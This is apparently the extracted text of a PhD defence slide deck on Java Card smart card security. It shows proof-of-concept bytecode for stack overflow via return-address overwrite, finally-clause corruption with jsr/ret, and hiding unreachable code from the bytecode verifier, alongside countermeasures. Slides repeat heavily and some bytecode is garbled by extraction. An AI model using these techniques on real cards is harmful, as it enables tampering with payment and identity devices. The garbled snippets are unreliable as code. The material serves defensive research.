A Generic Approach for Protecting Java Card™ Smart Card Against Software Attacks

Guillaume BOUFFARD

Smart Secure Devices (SSD) Team
XLIM/University of Limoges

PhD Defence
10th of October, 2014
Outline

Introduction
   Smart Card
   Java Card Technology
   Attacks on Java Card

Contribution
   Fault Tree Analysis
   Smart Card Vulnerability Analysis using Fault Tree Analysis
   Corrupting the Java Card’s Control Flow
   Security Automatons to Protect the Java Card Control Flow

Experimental Results
   Corrupting the Execution Flow
   The Security Automatons

Conclusion and Future Works
Outline

Introduction
  Smart Card
  Java Card Technology
  Attacks on Java Card

Contribution
  Fault Tree Analysis
  Smart Card Vulnerability Analysis using Fault Tree Analysis
  Corrupting the Java Card’s Control Flow
  Security Automatons to Protect the Java Card Control Flow

Experimental Results
  Corrupting the Execution Flow
  The Security Automatons

Conclusion and Future Works
The Smart Card

▶ Tamper-Resistant Computer;
▶ Securely stores and processes information;
▶ Used in our everyday life:
  ◦ Credit Card;
  ◦ (U)SIM Card;
  ◦ Health Card (French Vitale card);
  ◦ Pay TV;
  ◦ …
▶ Most of the smart cards are based on Java Card technology.

This device contains sensitive data
Java Card Technology

- Created by Schlumberger in 1996;
- **Specified** by Oracle;
- Provide a **friendly** environment to develop **secure** Java-applications.

[From B. Basquin’s presentation at Cartes ASIA 2014]
Java Card Security Model

- **Off-card security**

  - Java Class Files
    - Byte Code Converter
    - Byte Code Verifier (BCV)
    - Byte Code Signer
    - Java Card Files

- **On-card security**

  - Java Card Files
    - BCV
    - Installed applet
    - Firewall
Java Card Attacks

**Physical attacks**
- Side Channel attacks (timing attacks, power analysis attack, etc.);
- Fault attacks (electromagnetic injection, laser beam injection, etc.).

**Logical attacks**
- Execution of malicious Java Card byte codes.

**Combined attacks**
- Mix of physical and logical attacks.
Problematic

- Inductive Approach:
  - 1 attack = 1 countermeasure;
  - **Bottom-up** approach.
Problematic

- **Inductive Approach:**
  - 1 attack = 1 countermeasure;
  - **Bottom-up** approach.

- **Thesis Objectives:**
  - Find and prevent each undesirable events;
  - Global vision to protect the smart card’s assets;
  - Design a **top-down analytic approach**.
Outline

Introduction
- Smart Card
- Java Card Technology
- Attacks on Java Card

Contribution
- Fault Tree Analysis
- Smart Card Vulnerability Analysis using Fault Tree Analysis
- Corrupting the Java Card’s Control Flow
- Security Automatons to Protect the Java Card Control Flow

Experimental Results
- Corrupting the Execution Flow
- The Security Automatons

Conclusion and Future Works
The Fault Tree Analysis (FTA)

- Undesirable events;
- Initial causes;
- Gate connectors.
The Fault Tree Analysis (FTA)

Undesirable events;
Initial causes;
Gate connectors.
The Fault Tree Analysis (FTA)

- Undesirable events;
- **Initial causes**;
- Gate connectors.
The Fault Tree Analysis (FTA)

- Undesirable events;
- Initial causes;
- Gate connectors.
Smart Card’s Assets

- The smart card’s assets are the **code** and the **data**;
- Security properties:
  - Integrity;
  - Confidentiality;
- Undesirable events can affect:
  - Code integrity;
  - Data integrity;
  - Code confidentiality;
  - Data confidentiality;
Smart Card’s Assets

- The smart card’s assets are the **code** and the data;
- Security properties:
  - Integrity;
  - Confidentiality;
- Undesirable events can affect:
  - **Code integrity**;
  - Data integrity;
  - Code confidentiality;
  - Data confidentiality;

An attack offers the execution of a malicious byte code.
Code Integrity’s Fault Tree

- Code integrity’s corruption
  - Execution of a malicious code
  - Executed code is not the **loaded** one
  - Executed code is not the **stored** one
Code Integrity’s Fault Tree

- Code integrity’s corruption
  - Execution of a malicious code
  - Executed code is not the **loaded** one
  - Executed code is not the **stored** one
Execution of a malicious code

- Frame Corruption
  - Return address modification
  - Context corruption
  - Confusing invoker’s state
- Code desynchronisation
- Control flow corruption
  - Corrupting the branching instructions
  - Faulty table jumping operations
  - Corrupting the finally-clause
  - Fooling the exception mechanism
  - Invoking an unexpected function
  - Type confusion

- Published in [Bouffard et al., SAFECOMP 2013];
Execution of a malicious code

- Published in [Bouffard et al., SAFECOMP 2013];
- For this presentation, two vulnerabilities will be introduced:
  - Modifying the method’s return address;
  - Corrupting the finally-clause.
- Thanks to minimal cut set, a countermeasure to protect the execution flow was developed: the security automatons.
Execution of a malicious code

Published in [Bouffard et al., SAFECOMP 2013];

For this presentation, **two vulnerabilities** will be introduced:

- Modifying the method’s return address;
- Corrupting the finally-clause.

Thanks to minimal cut set, a countermeasure to protect the execution flow was developed: the security automatons.
Published in [Bouffard et al., SAFECOMP 2013];

For this presentation, **two vulnerabilities** will be introduced:

- Modifying the method’s return address;
- **Corrupting the finally-clause.**

Thanks to minimal cut set, a countermeasure to protect the execution flow was developed: the security automatons.
Published in [Bouffard et al., SAFECOMP 2013];

For this presentation, two vulnerabilities will be introduced:

- Modifying the method’s return address;
- Corrupting the finally-clause.

Thanks to **minimal cut set**, a countermeasure to protect the execution flow was developed: **the security automatons**.
The Java Method Return

"The current frame is used in this case to **restore the state of the invoker**, including its local variables and operand stack, with the **program counter of the invoker** appropriately incremented to skip past the method invocation instruction. Execution then continues normally in the invoking method’s frame with the returned value (if any) pushed onto the operand stack of that frame. (source: Java 8 Virtual Machine Specification)"

- A frame header may include:
  - Previous frame’s size;
  - Program counter of the invoker;
  - Security context of the invoker.
Java Card Stack

public void caller (short l1) {
    // The function callee is called
    short l2 = l1 +
            this.callee(l1);
}

public void callee (short l1) {
    short l2 = l1;
    short l3 = (short) 0xCAFE;
    return l3;
}

Java Card byte code

void caller (short l1) {
    sload 1
    aload 0
    sload 1
    invokevirtual @callee
    sadd
    sstore 2
    return
}

void callee (short l1) {
    sload 1
    sstore 2
    sspush 0xCAFE
    sstore 3
    sload 3
    sreturn
}
Java Card Stack

public void caller (short l1) {
    // The function callee is called
    short l2 = l1 +
        this.callee(l1);
}

public void callee (short l1) {
    short l2 = l1;
    short l3 = (short) 0xCAFE;
    return l3;
}

Java code

Java Card byte code

void caller (short l1) {
    sload 1
    aload 0
    sload 1
    invokevirtual @callee
    sadd
    sstore 2
    return
}

void callee (short l1) {
    sload 1
    sstore 2
    sspush 0xCAFE
    sstore 3
    sload 3
    sreturn
}
public void caller (short l1) {
    // The function callee is called
    short l2 = l1 +
    this.callee(l1);
}

public void callee (short l1) {
    short l2 = l1;
    short l3 = (short) 0xCAFE;
    return l3;
}

Java code

void caller (short l1) {
   aload 0
   invokevirtual @callee
    sadd
    sstore 2
    return
}

void callee (short l1) {
    sload 1
    sstore 2
    sspush 0xCAFE
    sstore 3
    sload 3
    sreturn
}

Java Card byte code
Java Card Stack

```java
public void caller (short l1) {
    // The function callee is called
    short l2 = l1 +
    this.callee(l1);
}

public void callee (short l1) {
    short l2 = l1;
    short l3 = (short) 0xCAFE;
    return l3;
}
```

```java
Java code
```

```java
void caller (short l1) {
    load 1
    invokevirtual @callee
    sadd
    sstore 2
    return
}

void callee (short l1) {
    sload 1
    sstore 2
    sspush 0xCAFE
    sstore 3
    sload 3
    sreturn
}

Java Card byte code
```
public void caller (short l1) {
    short l2 = l1 +
    this.callee(l1);
}

public void callee (short l1) {
    short l2 = l1;
    short l3 = (short) 0xCAFE;
    return l3;
}

Java code

void caller (short l1) {
    sload 1
    aload 0
    sload 1
    invokevirtual @callee
    sadd
    sstore 2
    return
}

void callee (short l1) {
    sload 1
    sstore 2
    sspush 0xCAFE
    sstore 3
    sload 3
    sreturn
}

Java Card byte code
public void caller (short l1) {
    // The function callee is called
    short l2 = l1 +
    this.callee(l1);
}

public void callee (short l1) {
    short l2 = l1;
    short l3 = (short) 0xCAFE;
    return l3;
}

Java code

void caller (short l1) {
    load 1
    la 0
    load 1
    invokevirtual @callee
    sadd
    sstore 2
    return
}

void callee (short l1) {
    load 1
    sstore 2
    sspush 0xCAFE
    sstore 3
    load 3
    sreturn
}

Java Card byte code
public void caller (short l1) {
   // The function callee is called
   short l2 = l1 +
   \textcolor{red}{\textbf{this.callee(l1);}}
}

public void callee (short l1) {
   short l2 = l1;
   short l3 = (short) 0xCAFE;
   return l3;
}

\textcolor{red}{{\textbf{Java code}}}

\begin{center}
\begin{verbatim}
\textbf{Java Card byte code}
\end{verbatim}
\end{center}
Java Card Stack

public void caller (short l1) {
    // The function callee is called
    short l2 = l1 +
    this.callee(l1);
}

public void callee (short l1) {
    short l2 = l1;
    short l3 = (short) 0xCAFE;
    return l3;
}

void caller (short l1) {
    sload 1
    aload 0
    sload 1
    invokevirtual @callee
    sadd
    sstore 2
    return
}

void callee (short l1) {
    sload 1
    sstore 2
    sspush 0xCAFE
    sstore 3
    sload 3
    sreturn
}

Java code

Java Card byte code
### Java Card Stack: Pushing a Frame

<table>
<thead>
<tr>
<th>short l1</th>
<th>Object @this</th>
</tr>
</thead>
<tbody>
<tr>
<td>short l1</td>
<td></td>
</tr>
<tr>
<td><strong>Header data</strong></td>
<td></td>
</tr>
<tr>
<td>short l2</td>
<td></td>
</tr>
<tr>
<td>short l1</td>
<td>Object @this</td>
</tr>
</tbody>
</table>

```java
sload 1  // Pushing l1
aload 0  // Pushing @this
sload 1  // Pushing l1
invokevirtual @callee
sadd
sstore 2  // Saving to l2
return
```
Java Card Stack: Pushing a Frame

short l1
Object @this
short l1
Header data
short l2
short l1
Object @this

sload 1 // Pushing l1
aload 0 // Pushing @this
sload 1 // Pushing l1
invokevirtual @callee
sadd
sstore 2 // Saving to l2
return

content of l1
Header data
short l3
short l2
short l1
Object @this
short l1
Header data
short l3
short l2
short l1
Object @this
sload 1 // Pushing l1
aload 0 // Pushing @this
sload 1 // Pushing l1
invokevirtual @callee
sadd
sstore 2 // Saving to l2
sreturn

sload 1 // Pushing l1
sstore 2 // Storing to l2
sspush 0xCAFÉ
sstore 3 // Storing to l3
sload 3 // pushing l3
sreturn
Java Card Stack: Popping a Frame

```
sload 1 // Pushing l1
aload 0 // Pushing @this
sload 1 // Pushing l1
invokevirtual @callee
add
ssstore 2 // Saving to l2
return
```

```
sload 1 // Pushing l1
aload 0 // Pushing @this
sload 1 // Pushing l1
invokevirtual @callee
add
ssstore 3 // Storing to l3
sload 3 // Pushing l3
ssstore 2 // Storing to l2
sreturn
```
Java Card Stack: Popping a Frame

sload 1 // Pushing l1
sstore 2 // Storing to l2
sspush 0xCAFE
sstore 3 // Storing to l3
sload 3 // pushing l3
sreturn

callee’s return

sload 1 // Pushing l1
aload 0 // Pushing @this
sload 1 // Pushing l1
invokevirtual @callee
sadd
sstore 2 // Saving to l2
return
EMAN2: A Ghost In the Stack

- Modifying the return address;

Return address modification

Override the return address

Overflow from the local variable
[Bouffard et al., CARDIS 2011]

Underflow from the operand stack
[Faugeron, CARDIS 2013]

ill-formed code

No BCV

Code modification

No frame check
Fault Injection
EMAN2: A Ghost In the Stack

▶ Presented in [Bouffard et al., CARDIS 2011];
▶ **Overflow** from the local variables area.

**Header data**

- short l1
- short l3
- short l2
- short l1
- Object @this

```java
sload 1 // Pushing l1
sstore 2 // Saving to l2
sspush 0xCAFE
sstore 3 // Saving to l3
sload 3 // Pushing l3
sreturn
```

**callee’s return**

```java
callee's return
short l1
Header data
short l1
short l2
short l1
Object @this

sload 1 // Pushing l1
aload 0 // Pushing @this
sload 1 // Pushing l1
invokevirtual @callee
sadd
sstore 2 // Saving to l2
return
```

**Countermeasures from the literature:**
- Checking the integrity of the frame's header data;
- Verifying each access to the frame's areas [Lackner et al., CARDIS 2012];
- Scrambling the memory [Barbu’s PhD Thesis, 2012] [Razafindralambo et al., SNDS 2012].
EMAN2: A Ghost In the Stack

- **Presented in** [Bouffard et al., CARDIS 2011];
- **Overflow** from the local variables area.

```java
short l1
sload 1 // Pushing l1
sstore 2 // Saving to l2
sspush OxCAFE
sstore 3 // Saving to l3
sload 3 // Pushing l3
return

short l1
Header data
short l2
Object @this
short l1
Header data
short l1
Object @this
sload 1 // Pushing l1
aload 0 // Pushing @this
sload 1 // Pushing l1
invokevirtual @callee
sadd
sstore 2 // Saving to l2
return

callee’s return
short l1
Header data
short l2
short l1
Object @this
sload 1 // Pushing l1
aload 0 // Pushing @this
sload 1 // Pushing l1
invokevirtual @callee
sadd
sstore 2 // Saving to l2
return
```

- Countermeasures from the literature:
  - Checking the integrity of the frame’s header data;
  - Verifying each access to the frame’s areas [Lackner et al., CARDIS 2012];
  - Scrambling the memory [Barbu’s PhD Thesis, 2012] [Razafindralambo et al., SNDS 2012].
EMAN2: A **Ghost In the Stack**

- **Overflow** from the local variables area.

```java
short l1

Header data

short l3
short l2
short l1
Object @this

short l1

sload 1 // Pushing l1
sstore 4 // Saving to l4
sspush 0xCAF
sstore 3 // Saving to l3
sload 3 // Pushing l3
sreturn

callee's return

short l1

Header data

short l1
cload 1 // Pushing l1
aload 0 // Pushing @this
cload 1 // Pushing l1
invokevirtual @callee
sadd
sstore 2 // Saving to l2
sreturn

sload 1 // Pushing l1
aload 0 // Pushing @this
cload 1 // Pushing l1
invokevirtual @callee
sadd
sstore 2 // Saving to l2
sreturn

Guillaume BOUFFARD  A Generic Approach for Protecting Java Card™ Smart Card Against Software Attacks

19/55
EMAN2: A *Ghost In the Stack*

- **Presented in** [Bouffard et al., CARDIS 2011];
- **Overflow** from the local variables area.

<table>
<thead>
<tr>
<th>short l1</th>
<th>Caller frame size</th>
</tr>
</thead>
<tbody>
<tr>
<td>Security context</td>
<td>short l1</td>
</tr>
<tr>
<td>Return address</td>
<td>short l3</td>
</tr>
<tr>
<td></td>
<td>short l2</td>
</tr>
<tr>
<td></td>
<td>short l1</td>
</tr>
<tr>
<td></td>
<td>Object @this</td>
</tr>
<tr>
<td>short l1</td>
<td>Header data</td>
</tr>
<tr>
<td></td>
<td>short l2</td>
</tr>
<tr>
<td></td>
<td>short l1</td>
</tr>
<tr>
<td></td>
<td>Object @this</td>
</tr>
</tbody>
</table>

```
sload 1 // Pushing l1
sstore 4 // Saving to l4
sspush 0xCAFE
sstore 3 // Saving to l3
sload 3 // Pushing l3
sreturn
```

<table>
<thead>
<tr>
<th>short l1</th>
<th>callee’s return</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>short l1</td>
</tr>
<tr>
<td></td>
<td>Header data</td>
</tr>
<tr>
<td></td>
<td>short l2</td>
</tr>
<tr>
<td></td>
<td>short l1</td>
</tr>
<tr>
<td></td>
<td>Object @this</td>
</tr>
</tbody>
</table>

```
sload 1 // Pushing l1
aload 0 // Pushing @this
sload 1 // Pushing l1
invokevirtual @callee
sadd
sstore 2 // Saving to l2
return
```

- **Countermeasures from the literature:**
  - Checking the integrity of the frame’s header data;
  - Verifying each access to the frame’s areas [Lackner et al., CARDIS 2012];
  - Scrambling the memory [Barbu’s PhD Thesis, 2012] [Razafindralambo et al., SNDS 2012].
EMAN2: A Ghost In the Stack

- Presented in [Bouffard et al., CARDIS 2011];
- **Overflow** from the local variables area.

```
sload 1  // Pushing l1
sstore 4  // Saving to l4
sspush 0xCafe
sstore 3  // Saving to l3
sload 3  // Pushing l3
sreturn
```

### Header data
- short 11
- short 12
- short 11
- Object @this

```java
sload 1  // Pushing l1
aload 0  // Pushing @this
sload 1  // Pushing l1
invokevirtual @callee
sadd
sstore 2  // Saving to l2
sreturn
```

### callee's return
- short 11

```java
sload 1  // Pushing l1
aload 0  // Pushing @this
sload 1  // Pushing l1
invokevirtual @callee
sadd
sstore 2  // Saving to l2
sreturn
```

### Security context
- short l1
- Caller frame size
- Return address
- short l3
- short l2
- short l1
- Object @this

- short l1
- Header data
- short l2
- short l1
- Object @this

- short l1
- Header data
- short l2
- short l1
- Object @this
EMAN2: A *Ghost In the Stack*

- **Presented in** [Bouffard et al., CARDIS 2011];
- **Overflow** from the local variables area.

```java
sload 1 // Pushing l1
sstore 4 // Saving to l4
sspush 0xCAFESstore 3 // Saving to l3
sload 3 // Pushing l3
sreturn
```

**Content of l1**
- short l1
- short l2
- short l1
- Object @this
- Header data
- short l2
- short l1
- Object @this

**Callee’s return**
- short l1
- Header data
- short l2
- short l1
- Object @this

**Shellcode**
EMAN2: A *Ghost In the Stack*

- Presented in [Bouffard et al., CARDIS 2011];
- **Overflow** from the local variables area.

<table>
<thead>
<tr>
<th>Caller frame size</th>
<th>Security context</th>
<th>Content of l1</th>
</tr>
</thead>
<tbody>
<tr>
<td>short l1</td>
<td>short l3</td>
<td>short l2</td>
</tr>
<tr>
<td>short l2</td>
<td>short l1</td>
<td>Object @this</td>
</tr>
<tr>
<td>short l1</td>
<td>Object @this</td>
<td>short l1</td>
</tr>
<tr>
<td>short l1</td>
<td>Header data</td>
<td>short l1</td>
</tr>
<tr>
<td>short l2</td>
<td>short l1</td>
<td>Object @this</td>
</tr>
<tr>
<td>short l1</td>
<td>Header data</td>
<td>short l1</td>
</tr>
<tr>
<td>short l2</td>
<td>short l1</td>
<td>Object @this</td>
</tr>
<tr>
<td>short l1</td>
<td>Header data</td>
<td>short l1</td>
</tr>
</tbody>
</table>

- **SHELLCODE**

```
sload 1 // Pushing l1
sstore 4 // Saving to l4
sspush 0xCAFE
sstore 3 // Saving to l3
sload 3 // Pushing l3
sreturn

callee’s return
short l1

sload 1 // Pushing l1
aload 0 // Pushing @this
sload 1 // Pushing l1
invokevirtual @callee
sadd
sstore 2 // Saving to l2
return

Header data
short l2
short l1
Object @this
```

- **Countermeasures from the literature:**
  - Checking the integrity of the frame’s header data;
  - Verifying each access to the frame’s areas [Lackner et al., CARDIS 2012];
  - Scrambling the memory [Barbu’s PhD Thesis, 2012] [Razafindralambo et al., SNDS 2012].
EMAN2 and Its Avatars

- Stack **overflow** from the local variables [Bouffard et al., CARDIS 2011]
  - sstore, sinc, etc.;

- Stack **underflow** from the operand stack [Faugeron, CARDIS 2013]
  - dup_x, swap_x, etc.;
EMAN2 and Its Avatars

- Stack **overflow** from the local variables [Bouffard et al., CARDIS 2011]
  - sstore, sinc, etc.;
- Stack **underflow** from the operand stack [Faugeron, CARDIS 2013]
  - dup_x, swap_x, etc.;
- This attack modifies the Java Program Counter value upon the return address register. New smart cards embed countermeasures against this attack! . . . **only the path is protected**;
The finally-Clause

- A finally-statement used the jsr ("jump to subroutine") and ret ("return from subroutine") instructions (deprecated since Java 6);
- The jsr pushes the address of the instruction immediately following it (typed as ReturnAddress);
- Saves the return value (if any) in a local variable;
- The ret instruction continues the execution from the value saved in the local variable.
Compiling finally-Clause

```java
void tryCatchFinally() {
    try {
        tryItOut();
    } finally {
        wrapItUp();
    }
}
```

Exception table:

<table>
<thead>
<tr>
<th>From</th>
<th>To</th>
<th>Target</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>4</td>
<td>8</td>
<td>any</td>
</tr>
</tbody>
</table>

Method `void tryFinally()`

<table>
<thead>
<tr>
<th>Line</th>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td><code>aload_0</code></td>
<td>// Beginning of try block</td>
</tr>
<tr>
<td>1</td>
<td><code>invokevirtual tryItOut()</code></td>
<td>// Call tryItOut()</td>
</tr>
<tr>
<td>4</td>
<td><code>jsr 14</code></td>
<td>// Call finally block</td>
</tr>
<tr>
<td>7</td>
<td><code>return</code></td>
<td>// End of try block</td>
</tr>
<tr>
<td>8</td>
<td><code>astore_1</code></td>
<td>// Beginning of handler</td>
</tr>
<tr>
<td></td>
<td></td>
<td>// for any throw</td>
</tr>
<tr>
<td>9</td>
<td><code>jsr 14</code></td>
<td>// Call finally block</td>
</tr>
<tr>
<td>12</td>
<td><code>aload_1</code></td>
<td>// Push thrown value</td>
</tr>
<tr>
<td>13</td>
<td><code>athrow</code></td>
<td>// ... and rethrow value</td>
</tr>
<tr>
<td></td>
<td></td>
<td>// to the invoker</td>
</tr>
<tr>
<td>14</td>
<td><code>astore_2</code></td>
<td>// Beginning of finally block</td>
</tr>
<tr>
<td>15</td>
<td><code>aload_0</code></td>
<td>// Push this</td>
</tr>
<tr>
<td>16</td>
<td><code>invokevirtual wrapItUp()</code></td>
<td>// Call wrapItUp()</td>
</tr>
<tr>
<td>19</td>
<td><code>ret 2</code></td>
<td>// Return from finally block</td>
</tr>
</tbody>
</table>

*Illustration inspired from the Java 8 Virtual Machine Specification*
Compiling finally-Clause

```java
void tryCatchFinally() {
    try {
        tryItOut();
    } finally {
        wrapItUp();
    }
}
```

Exception table:

<table>
<thead>
<tr>
<th>From</th>
<th>To</th>
<th>Target</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>4</td>
<td>8</td>
<td>any</td>
</tr>
</tbody>
</table>

Illustration inspired from the Java 8 Virtual Machine Specification

Method `void tryFinally()`

```java
0  aload_0  // Beginning of try block
1  invokevirtual tryItOut()
4  jsr 14   // Call finally block
7  return   // End of try block

8  astore_1  // Beginning of handler
      // for any throw
9  jsr 14   // Call finally block
12 aload_1  // Push thrown value
13 athrow   // ... and rethrow value
       // to the invoker
14 astore_2  // Beginning of finally block
15 aload_0  // Push this
16 invokevirtual wrapItUp()
19 ret 2     // Return from finally block
```
void tryCatchFinally() {
    try {
        tryItOut();
    }
    finally {
        wrapItUp();
    }
}

Exception table:

<table>
<thead>
<tr>
<th>From</th>
<th>To</th>
<th>Target</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>4</td>
<td>8</td>
<td>any</td>
</tr>
</tbody>
</table>

Method void tryFinally()

0   aload_0 // Beginning of try block
1   invokevirtual tryItOut()
4   jsr 14  // Call finally block
7   return // End of try block

8   astore_1 // Beginning of handler
     // for any throw
9   jsr 14  // Call finally block
12  aload_1 // Push thrown value
13  athrow // ... and rethrow value
     // to the invoker
14  astore_2 // Beginning of finally block
15  aload_0 // Push this
16  invokevirtual wrapItUp()
19  ret 2  // Return from finally block

*Illustration inspired from the Java 8 Virtual Machine Specification*
Compiling finally-Clause

```java
void tryCatchFinally() {
    try {
        tryItOut();
    } finally {
        wrapItUp();
    }
}
```

<table>
<thead>
<tr>
<th>From</th>
<th>To</th>
<th>Target</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>4</td>
<td>8</td>
<td>any</td>
</tr>
</tbody>
</table>

Method `void tryFinally()`

<p>| | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
</table>
| 0 | `aload_0` | // Beginning of try block
| 1 | `invokevirtual tryItOut()` |
| 4 | `jsr 14` | // Call finally block
| 7 | `return` | // End of try block
| 8 | `astore_1` | // Beginning of handler 
|   |   |   | for any throw |
| 9 | `jsr 14` | // Call finally block
| 12 | `aload_1` | // Push thrown value
| 13 | `athrow` | // ... and rethrow value 
|   |   |   | to the invoker |
| 14 | `astore_2` | // Beginning of finally block
| 15 | `aload_0` | // Push this
| 16 | `invokevirtual wrapItUp()` |
| 19 | `ret 2` | // Return from finally block

Illustration inspired from the Java 8 Virtual Machine Specification
Compiling finally-Clause

void tryCatchFinally() {
    try {
        tryItOut();
    } finally {
        wrapItUp();
    }
}

<table>
<thead>
<tr>
<th>From</th>
<th>To</th>
<th>Target</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>4</td>
<td>8</td>
<td>any</td>
</tr>
</tbody>
</table>

Method void tryFinally()

0  aload_0  // Beginning of try block
1  invokevirtual tryItOut()
4  jsr 14  // Call finally block
7  return  // End of try block
8  astore_1  // Beginning of handler
      // for any throw
9  jsr 14  // Call finally block
12  aload_1  // Push thrown value
13  athrow // ... and rethrow value
      // to the invoker
14  astore_2  // Beginning of finally block
15  aload_0  // Push this
16  invokevirtual wrapItUp()
19  ret 2 // Return from finally block

Illustration inspired from the Java 8 Virtual Machine Specification
Executing a finally-Clause

```java
method_info [2] // @0051 = {
01 // flags: 0 max_stack: 1
11 // nargs: 1 max_locals: 1
⇒ /*0x53*/ L0: jsr L2
/*0x56*/ L1: sspush 0xCAFE
/*0x59*/ sreturn
/*0x5A*/ L2: astore_1
/*0x5B*/ ret 0x1 // -> L1
}
```

\[ PC = 0x53 \]
Executing a finally-Clause

```java
method_info [2] // @0051 = {
    01 // flags: 0 max_stack : 1
    11 // nargs: 1 max_locals: 1
    /*0x53*/ L0: jsr L2
    /*0x56*/ L1: sspush 0xCAFE
    /*0x59*/ sreturn
    ⇒ /*0x5A*/ L2: astore_1
    /*0x5B*/ ret 0x1 // -> L1
}
```

PC = 0x5A
Executing a finally-Clause

method_info [2] // @0051 = {
  01 // flags: 0 max_stack : 1
  11 // nargs: 1 max_locals: 1
  /*0x53*/ L0: jsr L2
  /*0x56*/ L1: sspush 0xCAFE
  /*0x59*/ sreturn
  /*0x5A*/ L2: astore_1
  /*0x5B*/ ret 0x1 // -> L1
}

PC = 0x5B
Executing a finally-Clause

```
method_info [2] // @0051 = {
  01 // flags: 0 max_stack : 1
  11 // nargs: 1 max_locals: 1
  /*0x53*/ L0: jsr L2
  /*0x56*/ L1: sspush 0xCAFE
  /*0x59*/ sreturn
  /*0x5A*/ L2: astore_1
  /*0x5B*/ ret 0x1 // -> L1
}
```

\[ \text{PC} = 0x56 \]
Executing a finally-Clause

method_info [2] // @0051 = {
    01 // flags: 0 max_stack : 1
    11 // nargs: 1 max_locals: 1
    /*0x53*/ L0: jsr L2
    /*0x56*/ L1: sspush 0xCAFE
⇒ /*0x59*/ sreturn
    /*0x5A*/ L2: astore_1
    /*0x5B*/ ret 0x1 // -> L1
}

PC = 0x59
Corrupting the `finally`-Clause

- Corrupting `finally`-clause
  - Setting a creepy ReturnAddress
  - Malicious code
    - No BCV
    - Code modification
      - Type confusion
        - No typed stack
        - No typed heap
          - [Bouffard et al., CARDIS 2014]
How to Exploit the jsr instruction?

- Hypothesis:
  - No verified by a BCV
  - No typed stack

```java
short jsrAttack () {
    01 // flags: 0 max_stack : 1
    11 // nargs: 1 max_locals: 1
    /*0x53*/ L0: jsr L2
    /*0x56*/ L1: sspush 0xCAFE
    /*0x59*/ sreturn
    /*0x5A*/ sspush 0xBEEF
    /*0x5D*/ sreturn
    /*0x5E*/ L2: astore_1
    /*0x5F*/ sinc 0x1, 0x4
    /*0x62*/ ret 1 // -> L1
}
```
How to Exploit the jsr instruction?

- Hypothesis:
  - No verified by a BCV
  - No typed stack

```java
short jsrAttack () {
    01 // flags: 0 max_stack : 1
    11 // nargs: 1 max_locals: 1
    /*0x53*/ L0: jsr L2
    /*0x56*/ L1: sspush 0xCAFE
    /*0x59*/ sreturn
    /*0x5A*/ sspush 0xBEEF
    /*0x5D*/ sreturn
    /*0x5E*/ L2: astore_1
    /*0x5F*/ sinc 0x1, 0x4  // Type confusion
    /*0x62*/ ret 1 // -> L1
}
```
Cheating the BCV component

- The BCV checks the structure and the semantics of the application;
- To verify the byte code semantics, the BCV starts its analyse from an entry point;
- Unreachable code has no entry point ⇒ ! it is not checked by the BCV!
- A malicious byte code can be hidden through the BCV verification!
void cheatingBCV () {
    04 // flags: 0 max_stack : 4
    03 // nargs: 0 max_locals: 3
    /*0x05B*/ L0: jsr L1
    // ...
    /*0x066*/ L1: astore_3
    /*0x066*/ L2: ... // Set of instructions
    /*0x163*/ if_scmpeq_w 0xFF05 // -> L2
    /*0x166*/ return
    /*0x167*/ sinc 0x3, 0x4
    /*0x16A*/ ret 0x3
}

An Unreachable Code...
An Unreachable Code...

```java
void cheatingBCV() {
    // flags: 0 max_stack : 4
    // nargs: 0 max_locals: 3

    /*0x05B*/ L0: jsr L1
    // ...
    /*0x066*/ L1: astore_3
    // L2: ... // Set of instructions
    /*0x163*/   if_scmpeq_w 0xFF05 // -> L2
    /*0x166*/   return
    /*0x167*/   sinc 0x3, 0x4
    /*0x16A*/   ret 0x3
}
```

Checked by the BCV

Unchecked by the BCV
An Unreachable Code...

```java
void cheatingBCV () {
    // flags: 0 max_stack: 4
    // nargs: 0 max_locals: 3

    /*0x05B*/ L0: jsr L1
    // ...
    /*0x066*/ L1: astore_3
    L2: ... // Set of instructions
    /*0x163*/ if_scmpeq_w 0xFF05 // -> L2
    /*0x166*/ return

    /*0x167*/ sinc 0x3, 0x4
    /*0x16A*/ ret 0x3
}
```

Checked by the BCV

Unchecked by the BCV

verifycap api_export_files/**/*.exp maliciousCAPFile.cap
[ INFO: ] Verifier [v3.0.4]
[ INFO: ] Copyright (c) 2011, Oracle and/or its affiliates.
    All rights reserved.

[ INFO: ] Verifying CAP file maliciousCAPFile.cap
[ INFO: ] Verification completed with 0 warnings and 0 errors.
EMAN4 [Bouffard et al., CARDIS 2011] introduced a way to change an instruction’s parameter upon a laser beam injection;

- This attack focuses on wide instructions;
- `goto_w, if_*_w, ...`
Can Be Executed

- EMAN4 [Bouffard et al., CARDIS 2011] introduced a way to change an instruction’s parameter upon a laser beam injection;
  - This attack focuses on wide instructions;
  - `goto_w`, `if_*_w`, ...
- `if_scmpeq_w 0xFF05`
EMAN4 [Bouffard et al., CARDIS 2011] introduced a way to change an instruction’s parameter upon a laser beam injection;

- This attack focuses on wide instructions;
- goto_w, if_*_w, ...

- if_scmpeq_w 0xFF05 ⇒ if_scmpeq_w 0x0005
EMAN4 [Bouffard et al., CARDIS 2011] introduced a way to change an instruction’s parameter upon a laser beam injection;

- This attack focuses on wide instructions;
- goto_w, if_*w, ...

- if_scmpeq_w 0xFF05 ⇒ if_scmpeq_w 0x0005

- That can be viewed as a logical attack enabler.
void cheatingBCV () {
    04 // flags: 0 max_stack : 4
    03 // nargs: 0 max_locals: 3
    /*0x85B*/ L0: jsr L1
    // ...
    /*0x866*/ L1: astore_3
    L2: ... // Set of instructions
    /*0x963*/ if_scmpeq_w 0x0005 // -> L3
    /*0x966*/ return
    /*0x966*/ L3: sinc 0x3, 0x4
    /*0x96A*/ ret 0x3
}

Preventing any finally-clause Corruption

- The Java 8 Virtual Machine specification defines basic ideas:
  - Each instruction keeps track of the list of jsr targets needed to reach that instruction.
  - When executing the ret instruction, there must be only one possible subroutine from which the instruction can be returning.
Preventing any finally-clause Corruption

